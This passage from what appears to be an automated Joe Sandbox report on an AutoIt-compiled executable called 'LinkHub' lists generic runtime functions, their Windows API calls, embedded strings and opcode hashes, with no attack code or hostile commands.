                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LongWindow
                                                                            • String ID: (
                                                                            • API String ID: 1378638983-2063206799
                                                                            • Opcode ID: 3290be1845255bce0f1e693b7719530ea479966a4357a6f262a3ef497201ee9b
                                                                            • Instruction ID: 7b0481af0841f6d73ce0d178f523286b44253db57fa00ec1a48f36686af59770
                                                                            • Opcode Fuzzy Hash: 3290be1845255bce0f1e693b7719530ea479966a4357a6f262a3ef497201ee9b
                                                                            • Instruction Fuzzy Hash: 43F049316452459FC704DF69EC44D6A77A5EB8A764B10462EFA26AB3F1CF30A804DB10
                                                                            Function 00E31461 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00E3146F
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Message
                                                                            • String ID: AutoIt$Error allocating memory.
                                                                            • API String ID: 2030045667-4017498283
                                                                            • Opcode ID: 61828dbb60f26b6ddbc96d1c612c06eabffc5b28b8f9478de45ff4de7037df26
                                                                            • Instruction ID: 5bc7cd0437a10b577784c7dae4695091de218fbf60758de2e34128e2226bf60a
                                                                            • Opcode Fuzzy Hash: 61828dbb60f26b6ddbc96d1c612c06eabffc5b28b8f9478de45ff4de7037df26
                                                                            • Instruction Fuzzy Hash: 1BE0D83178871C3AD3102794BC07F997A84CF04B91F12841AF748B55C38EE2249082B9
                                                                            Function 00DF10B3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DEFAD4: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00DF10E2,?,?,?,00DD100A), ref: 00DEFAD9
                                                                            • IsDebuggerPresent.KERNEL32(?,?,?,00DD100A), ref: 00DF10E6
                                                                            • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00DD100A), ref: 00DF10F5
                                                                            Strings
                                                                            • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00DF10F0
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
                                                                            • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                            • API String ID: 55579361-631824599
                                                                            • Opcode ID: 62292defbeb7cb1a9915c9c10d79c6789a298858ec04ae627cf84d07102c07d2
                                                                            • Instruction ID: 499c6056ef9bb98fe9d3df91fa80fdc490bfa37a1c5e0cc509e3131e25675660
                                                                            • Opcode Fuzzy Hash: 62292defbeb7cb1a9915c9c10d79c6789a298858ec04ae627cf84d07102c07d2
                                                                            • Instruction Fuzzy Hash: 11E06D74A00751CFD7209F2AE805312BBE4EB04345F05C92DE985E2651DBB4E488CBB1
                                                                            Function 00DEF114 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __Init_thread_footer.LIBCMT ref: 00DEF151
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Init_thread_footer
                                                                            • String ID: `5$h5
                                                                            • API String ID: 1385522511-2563461917
                                                                            • Opcode ID: c646b3e7b2f188925a76ed02aa93771ad4d44dcf3a4206567571f9f35f36de93
                                                                            • Instruction ID: c1a5ad52d648ab2c06ebf32a11892ad37e4253948f4259ae5faface4f4569387
                                                                            • Opcode Fuzzy Hash: c646b3e7b2f188925a76ed02aa93771ad4d44dcf3a4206567571f9f35f36de93
                                                                            • Instruction Fuzzy Hash: C0E02031C04A5CCFC504F73DD8019947390F74E320B3901F4F1055B39197203A42D634
                                                                            Function 00E439D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00E439F0
                                                                            • GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00E43A05
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Temp$FileNamePath
                                                                            • String ID: aut
                                                                            • API String ID: 3285503233-3010740371
                                                                            • Opcode ID: e370d68c2f496f52d54d6166c22d680c523bc0fb296e2987344354c76aaecfa1
                                                                            • Instruction ID: 16ce39039f7d3fc777ad54ab6357254f6262c238bdfaa9e21cd59853144c6dbd
                                                                            • Opcode Fuzzy Hash: e370d68c2f496f52d54d6166c22d680c523bc0fb296e2987344354c76aaecfa1
                                                                            • Instruction Fuzzy Hash: 8CD05B71904314BBDA209755EC0DFCB7A6CDB44750F400191FA95A10A1DAF0D549C7D0
                                                                            Function 00E62DF2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E62E08
                                                                            • PostMessageW.USER32(00000000), ref: 00E62E0F
                                                                              • Part of subcall function 00E3F292: Sleep.KERNEL32 ref: 00E3F30A
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FindMessagePostSleepWindow
                                                                            • String ID: Shell_TrayWnd
                                                                            • API String ID: 529655941-2988720461
                                                                            • Opcode ID: 71a6e30276d6ebca328a4c108c422ed39f3d00ddf27b0a92c33d61b2da26f1a0
                                                                            • Instruction ID: b3aea42ca69b9921ad253e309ed2a473d440e4b43af626077916e171349b825f
                                                                            • Opcode Fuzzy Hash: 71a6e30276d6ebca328a4c108c422ed39f3d00ddf27b0a92c33d61b2da26f1a0
                                                                            • Instruction Fuzzy Hash: 5BD0A931B89300AAEA64A370BC0FFC72A549B04B40F900821F646BA0D0C8E06804C644
                                                                            Function 00E62DBE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00E62DC8
                                                                            • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00E62DDB
                                                                              • Part of subcall function 00E3F292: Sleep.KERNEL32 ref: 00E3F30A
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FindMessagePostSleepWindow
                                                                            • String ID: Shell_TrayWnd
                                                                            • API String ID: 529655941-2988720461
                                                                            • Opcode ID: a8a827a5eaf3cfa2cf807c5305bb3c45f4884088276b406f4b46fc55d0ff4443
                                                                            • Instruction ID: b2b4e10352088b9bbc97489d5c06576166e30517a03f898ba5da35bbd2ba1aa5
                                                                            • Opcode Fuzzy Hash: a8a827a5eaf3cfa2cf807c5305bb3c45f4884088276b406f4b46fc55d0ff4443
                                                                            • Instruction Fuzzy Hash: 99D0A935B98300AAEA64A370BC0FFD72A549B00B40F500821F64ABA0D0C8E06804C640
                                                                            Function 00E0C17D Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 00E0C213
                                                                            • GetLastError.KERNEL32 ref: 00E0C221
                                                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00E0C27C
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ByteCharMultiWide$ErrorLast
                                                                            • String ID:
                                                                            • API String ID: 1717984340-0
                                                                            • Opcode ID: 49bc8f6c859960bb24317d565e94516d3fd2835c833ab67037052c55895a4270
                                                                            • Instruction ID: d9c91f36bd5ac736f91f65994979d7833142ac9037e766e426a944052a2ab878
                                                                            • Opcode Fuzzy Hash: 49bc8f6c859960bb24317d565e94516d3fd2835c833ab67037052c55895a4270
                                                                            • Instruction Fuzzy Hash: DB41F630600A06AFDB218FE5C844BBA7BA5EF11728F355269F955B75F1DB308D81CB60